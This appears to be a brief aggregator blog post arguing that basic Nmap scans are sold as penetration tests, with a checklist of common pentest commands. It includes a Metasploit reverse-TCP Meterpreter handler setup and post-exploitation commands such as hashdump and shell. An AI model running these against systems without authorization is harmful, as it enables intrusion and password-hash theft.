The Reality of Penetration Testing: Beyond Nmap Scans

Many companies today market basic Nmap scans as full penetration tests, misleading clients about the depth of security assessments. A true penetration test involves comprehensive exploitation, post-exploitation, and detailed reporting—far beyond simple port scanning.

You Should Know:

To perform a real penetration test, you need a structured approach. Below are essential steps, commands, and tools used by professionals:

1. Reconnaissance (Passive & Active)

• Nmap (Network Scanning)

  nmap -sV -A -T4 target.com
  

• -sV: Service version detection
• -A: Aggressive scan (OS detection, script scanning)
• -T4: Faster scan speed

• DNS Enumeration

  dnsenum target.com
  

2. Vulnerability Scanning

• Nessus / OpenVAS

  openvas-start
  

(Launch OpenVAS web interface for automated vulnerability scanning)

3. Exploitation

• Metasploit Framework

  msfconsole 
  use exploit/multi/handler 
  set payload windows/meterpreter/reverse_tcp 
  set LHOST <your_ip> 
  set LPORT 4444 
  exploit 
  

4. Post-Exploitation

• Meterpreter Commands

  sysinfo # System information 
  hashdump # Dump password hashes 
  shell # Access system shell 
  

5. Reporting

• Use tools like Dradis or Faraday for collaborative reporting.

Bonus: Automated Penetration Testing

• AutoRecon (Automates initial recon)

  autorecon target.com
  

What Undercode Say

The security industry is flooded with misleading “penetration testing” services that barely scratch the surface. A real pentest requires manual exploitation, lateral movement analysis, and business impact assessment—not just automated scans.

Essential Commands to Master:

• Linux:

  netstat -tuln # Check open ports 
  tcpdump -i eth0 # Packet capture 
  chmod 600 file # Secure file permissions 
  

• Windows:

  netstat -ano # Active connections 
  whoami /priv # Check user privileges 
  

Expected Output:

A penetration test report should include:

• Executive summary
• Methodology
• Critical vulnerabilities
• Proof-of-concept exploits
• Remediation steps

For real-world pentesting, check: https://hctit.io/xrisks

References:

Reported By: Simonehaddad Pentesting – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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